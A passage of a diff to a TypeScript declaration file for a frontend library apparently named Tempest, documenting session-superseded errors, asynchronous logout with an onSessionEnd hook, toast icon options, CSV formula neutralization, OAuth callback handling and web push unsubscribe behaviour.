+ * Thrown when the session that started an operation is no longer the current
14672
+ * one by the time it settles: a `refresh` hook (rethrown by
14673
+ * {@link createApiClient}), or a `createTempestAuth` `login()` whose session
14674
+ * was replaced while it waited on the previous session's teardown.
14675
+ *
14676
+ * A refresh is a network round trip, and the session can end or change hands
14677
+ * during it: the user signs out, or signs out and another account signs in. The
14678
+ * tokens that refresh brings back belong to the session that ended, so they are
14679
+ * discarded instead of installed, and the request that was waiting on them is
14680
+ * not replayed — replaying it would send it as whoever is signed in now.
14681
+ *
14682
+ * This is deliberately not an unauthorized outcome. The client does **not** call
14683
+ * `onUnauthorized` for it: that callback ends the session, and the current
14684
+ * session — possibly a different account that just signed in — did nothing
14685
+ * wrong. Treat it like an aborted request: drop the result, show nothing.
14686
+ *
14687
+ * @example
14688
+ * try {
14689
+ * await api.get("/api/orders");
14690
+ * } catch (err) {
14691
+ * if (err instanceof SessionSupersededError) return;
14692
+ * throw err;
14693
+ * }
14694
+ */
14695
+ export declare class SessionSupersededError extends Error {
14696
+ constructor();
14697
+ }
14698
+
13913
14699
  /**
13914
14700
  * Send an element's audio to a specific output device.
13915
14701
  *
@@ -15158,9 +15944,21 @@ export declare interface TempestAuth<TUser, TCredentials> {
15158
15944
  api: ApiClient;
15159
15945
  /** Authenticate, store the session, and resolve the user (or null). */
15160
15946
  login: (credentials: TCredentials) => Promise<TUser | null>;
15161
- /** Clear the session (and the stored refresh token). */
15162
- logout: () => void;
15163
- /** Refresh the access token (deduplicated across concurrent callers). */
15947
+ /**
15948
+ * End the session: supersede any refresh in flight, clear the store and the
15949
+ * stored refresh token, then run `onSessionEnd`.
15950
+ *
15951
+ * The store is cleared synchronously, before the first `await`, so callers
15952
+ * that ignore the promise see the signed-out state at once. The promise
15953
+ * resolves when `onSessionEnd` settled and rejects with its error.
15954
+ */
15955
+ logout: () => Promise<void>;
15956
+ /**
15957
+ * Refresh the access token (deduplicated across concurrent callers).
15958
+ *
15959
+ * @throws {SessionSupersededError} When the session ended or changed while
15960
+ * the refresh was in flight; its tokens were discarded.
15961
+ */
15164
15962
  refresh: () => Promise<void>;
15165
15963
  /** The current access token, or null. */
15166
15964
  getToken: () => string | null;
@@ -15233,6 +16031,35 @@ export declare interface TempestRouteObject {
15233
16031
  caseSensitive?: boolean;
15234
16032
  }
15235
16033
 
16034
+ /**
16035
+ * What {@link CreateTempestAuthOptions.onSessionEnd} receives about the session
16036
+ * that just ended.
16037
+ */
16038
+ declare interface TempestSessionEnd<TUser> {
16039
+ /**
16040
+ * Why it ended: `"logout"` for an explicit `logout()`, `"expired"` when the
16041
+ * client ended it on its own — the refresh failed, or the request replayed
16042
+ * after a refresh still came back `401` — and `"switch"` when `login()`
16043
+ * succeeded for another set of credentials while this session was live.
16044
+ */
16045
+ reason: "logout" | "expired" | "switch";
16046
+ /** The user of the ended session, as the store held it. */
16047
+ user: TUser | null;
16048
+ /** The access token of the ended session, or `null` when it had none. */
16049
+ token: string | null;
16050
+ /**
16051
+ * A client that sends the ended session's access token — the store has
16052
+ * already been cleared, so `auth.api` no longer does.
16053
+ *
16054
+ * Use it for the server-side half of the teardown, such as deleting this
16055
+ * browser's push subscription. It never refreshes and never ends a session:
16056
+ * a `401` here just rejects. On `"logout"` the token is usually still
16057
+ * valid; on `"expired"` the server has already refused it, so expect the
16058
+ * call to fail and keep the local half of the teardown independent of it.
16059
+ */
16060
+ api: ApiClient;
16061
+ }
16062
+
15236
16063
  /** The token envelope returned by a Tempest FastAPI SDK login/refresh route. */
15237
16064
  export declare interface TempestTokenResponse {
15238
16065
  /** The bearer access token. */
@@ -15434,6 +16261,16 @@ export declare interface TimePickerProps {
15434
16261
 
15435
16262
  export { To }
15436
16263
 
16264
+ /**
16265
+ * Horizontal alignment of a toast's title and description.
16266
+ *
16267
+ * `"start"` is the default because a toast is read as a sentence beside a close
16268
+ * button: left-aligned lines share one edge with the icon and the stack, so a
16269
+ * two-line description stays scannable. `"center"` exists for the short
16270
+ * celebratory toast (an achievement with a badge) where the text is one line.
16271
+ */
16272
+ export declare type ToastAlign = "start" | "center";
16273
+
15437
16274
  export declare interface ToastApi {
15438
16275
  show: (options: ToastOptions) => string;
15439
16276
  dismiss: (id: string) => void;
@@ -15450,6 +16287,30 @@ export declare interface ToastOptions {
15450
16287
  variant?: ToastVariant;
15451
16288
  /** Auto-dismiss timeout in ms. Pass `0` to keep the toast until dismissed manually. */
15452
16289
  duration?: number;
16290
+ /**
16291
+ * Leading slot rendered before the text, e.g. `<img src="/badge.svg" alt="" />`.
16292
+ *
16293
+ * It is an app asset, so it takes any `ReactNode` — but it is a slot for an
16294
+ * **icon**, not for a control. The wrapper is `inert`, so a button or link put
16295
+ * here is neither focusable nor clickable; actions belong outside the toast.
16296
+ *
16297
+ * The slot is decorative (`aria-hidden`) unless {@link ToastOptions.iconLabel}
16298
+ * is given: most icons repeat what the title already says, and an unlabelled
16299
+ * image inside the live region would otherwise be announced as "image" or by
16300
+ * its file name. An `<img>` or `<svg>` anywhere inside it is capped at 32px and
16301
+ * keeps its aspect ratio. A node that renders nothing (`null`, a boolean, `""`,
16302
+ * `[]`, an empty fragment) counts as no icon, so the toast keeps two columns.
16303
+ */
16304
+ icon?: ReactNode;
16305
+ /**
16306
+ * Accessible name for {@link ToastOptions.icon} when the icon carries meaning
16307
+ * the text does not. With it the slot becomes `role="img"` with this label and
16308
+ * is announced together with the toast; without it the slot is hidden from
16309
+ * assistive technology.
16310
+ */
16311
+ iconLabel?: string;
16312
+ /** Text alignment of title and description. Default `"start"`; see {@link ToastAlign}. */
16313
+ align?: ToastAlign;
15453
16314
  }
15454
16315
 
15455
16316
  export declare type ToastPosition = "top-right" | "top-left" | "top-center" | "bottom-right" | "bottom-left" | "bottom-center";
@@ -15473,7 +16334,9 @@ export declare type ToastVariant = "success" | "warning" | "error" | "info";
15473
16334
  * Serialize rows to CSV text, RFC 4180 style.
15474
16335
  *
15475
16336
  * Rows are separated by `\r\n` — the RFC's terminator and the one Excel is least
15476
- * surprised by. A row is emitted for the header even when `rows` is empty, so the
16337
+ * surprised by. Text that a spreadsheet would evaluate as a formula is written
16338
+ * with a leading `'` unless `neutralizeFormulas` is `false` (see
16339
+ * {@link CsvOptions.neutralizeFormulas}). A row is emitted for the header even when `rows` is empty, so the
15477
16340
  * person who opens the file sees which columns they asked for instead of a blank
15478
16341
  * document.
15479
16342
  *
@@ -15486,7 +16349,7 @@ export declare type ToastVariant = "success" | "warning" | "error" | "info";
15486
16349
  *
15487
16350
  * @param rows - The rows to export.
15488
16351
  * @param columns - Columns, in the order they should appear.
15489
- * @param options - Delimiter and BOM.
16352
+ * @param options - Delimiter, BOM and formula neutralization.
15490
16353
  * @returns The complete file contents.
15491
16354
  */
15492
16355
  export declare function toCsv<T>(rows: readonly T[], columns: readonly CsvColumn<T>[], options?: CsvOptions): string;
@@ -17699,18 +18562,26 @@ export declare interface UseNotificationInboxResult {
17699
18562
  * `/callback` routes that receive provider redirects and need to swap a
17700
18563
  * code/token for an app session via the backend.
17701
18564
  *
17702
- * Survives React StrictMode double-mounting in dev — uses a ref guard to
17703
- * ensure `exchange` runs once.
18565
+ * Runs `exchange` once per logical mount and keeps its result. StrictMode's
18566
+ * simulated unmount/remount in dev and a parent re-render with inline
18567
+ * callbacks used to cancel the only exchange and skip the second, leaving the
18568
+ * hook `"pending"` forever with the single-use code already spent. Now the
18569
+ * options live in a latest-value ref, the effect has no dependencies, and the
18570
+ * result is dropped only when the component is still unmounted when it lands.
18571
+ * The newest `onSuccess`/`onError` are the ones called.
18572
+ *
18573
+ * For a provider redirect, the exchange must carry the `state` along with the
18574
+ * `code`, or no backend can tell a forged callback from a real one (login
18575
+ * CSRF). `exchangeOAuthCallback` does that against a
18576
+ * `tempest-fastapi-sdk` backend; `readOAuthCallbackParams` returns both
18577
+ * values (or throws) for any other backend.
17704
18578
  *
17705
18579
  * @example
17706
18580
  * function OAuthCallback() {
17707
- * const { loading, error } = useOAuthCallback({
17708
- * exchange: async () => {
17709
- * const code = new URLSearchParams(location.search).get("code")!;
17710
- * return api.post("/auth/google/exchange", { body: { code } });
17711
- * },
17712
- * onSuccess: ({ token, user }) => {
17713
- * useAuthStore.getState().setSession({ user, token });
18581
+ * const { loading, error } = useOAuthCallback<LoginResponse>({
18582
+ * exchange: () => exchangeOAuthCallback<LoginResponse>(api, "google"),
18583
+ * onSuccess: ({ user_id, access_token }) => {
18584
+ * useAuthStore.getState().setSession({ user: { id: user_id }, token: access_token });
17714
18585
  * navigate("/dashboard", { replace: true });
17715
18586
  * },
17716
18587
  * onError: () => navigate("/login?error=oauth", { replace: true }),
@@ -19945,10 +20816,29 @@ export declare class WebPushClient {
19945
20816
  */
19946
20817
  subscribe(): Promise<PushSubscription>;
19947
20818
  /**
19948
- * Cancel the current subscription. Calls `onUnsubscribe` first (so the
19949
- * backend can purge the record) and then `subscription.unsubscribe()`.
19950
- *
19951
- * @returns True when an active subscription was removed, false otherwise.
20819
+ * Cancel the current subscription: `onUnsubscribe` first, so the backend
20820
+ * can purge the record while the endpoint is known, then
20821
+ * `subscription.unsubscribe()` — **always**, even when `onUnsubscribe`
20822
+ * failed.
20823
+ *
20824
+ * Why the browser is released anyway: the two failure modes are not
20825
+ * symmetric. A backend row left behind costs one send to a dead endpoint,
20826
+ * which the push service answers with `404`/`410` and the backend deletes.
20827
+ * A browser subscription left behind keeps delivering this account's
20828
+ * notifications to whoever uses the browser next — and the backend call
20829
+ * fails precisely when that matters, at the end of a session, when the
20830
+ * token that authenticates it is already gone. Before 0.77.0 a rejected
20831
+ * `onUnsubscribe` aborted here and the browser stayed subscribed (#445).
20832
+ * The endpoint is not lost either way: it is read before both calls and
20833
+ * travels in the error.
20834
+ *
20835
+ * @returns True when an active subscription was removed, false when there
20836
+ * was none or the browser refused.
20837
+ * @throws {WebPushUnsubscribeError} When `onUnsubscribe` failed — thrown
20838
+ * after the browser subscription was released. When the browser call also
20839
+ * threw, `browserUnsubscribed` is `false` and `cause` is an
20840
+ * `AggregateError` holding both errors, backend first, so the endpoint the
20841
+ * error carries is never traded for a bare `DOMException`.
19952
20842
  */
19953
20843
  unsubscribe(): Promise<boolean>;
19954
20844
  }
@@ -19961,7 +20851,12 @@ export declare interface WebPushClientConfig {
19961
20851
  * the host app decides the endpoint and how the payload is serialized.
19962
20852
  */
19963
20853
  onSubscribe: (subscription: PushSubscriptionJSON) => Promise<void> | void;
19964
- /** Remove the subscription from the backend. Called before `subscription.unsubscribe()`. */
20854
+ /**
20855
+ * Remove the subscription from the backend. Called before
20856
+ * `subscription.unsubscribe()`, with the subscription's JSON — key the
20857
+ * delete by its `endpoint`. A rejection no longer keeps the browser
20858
+ * subscribed: see {@link WebPushClient.unsubscribe}.
20859
+ */
19965
20860
  onUnsubscribe?: (subscription: PushSubscriptionJSON) => Promise<void> | void;
19966
20861
  /**
19967
20862
  * Override how the service worker registration is obtained.
@@ -19975,6 +20870,28 @@ export declare class WebPushPermissionDeniedError extends Error {
19975
20870
  constructor();
19976
20871
  }
19977
20872
 
20873
+ /**
20874
+ * Thrown by {@link WebPushClient.unsubscribe} when `onUnsubscribe` failed. The
20875
+ * browser subscription was still released — `browserUnsubscribed` says whether
20876
+ * the browser confirmed it — so the only thing left behind is the backend row.
20877
+ *
20878
+ * Carries the `subscription` JSON so the app can retry the delete by
20879
+ * `endpoint` later; if it never does, the push service answers the next send
20880
+ * to that endpoint with `404`/`410`, which is the backend's cue to drop the row.
20881
+ */
20882
+ export declare class WebPushUnsubscribeError extends Error {
20883
+ /** The subscription whose backend delete failed. */
20884
+ readonly subscription: PushSubscriptionJSON;
20885
+ /** Whether `PushSubscription.unsubscribe()` reported success. */
20886
+ readonly browserUnsubscribed: boolean;
20887
+ /**
20888
+ * @param subscription - The subscription whose backend delete failed.
20889
+ * @param browserUnsubscribed - What `PushSubscription.unsubscribe()` returned.
20890
+ * @param cause - What `onUnsubscribe` threw.
20891
+ */
20892
+ constructor(subscription: PushSubscriptionJSON, browserUnsubscribed: boolean, cause: unknown);
20893
+ }
20894
+
19978
20895
  export declare class WebPushUnsupportedError extends Error {
19979
20896
  constructor();
19980
20897
  }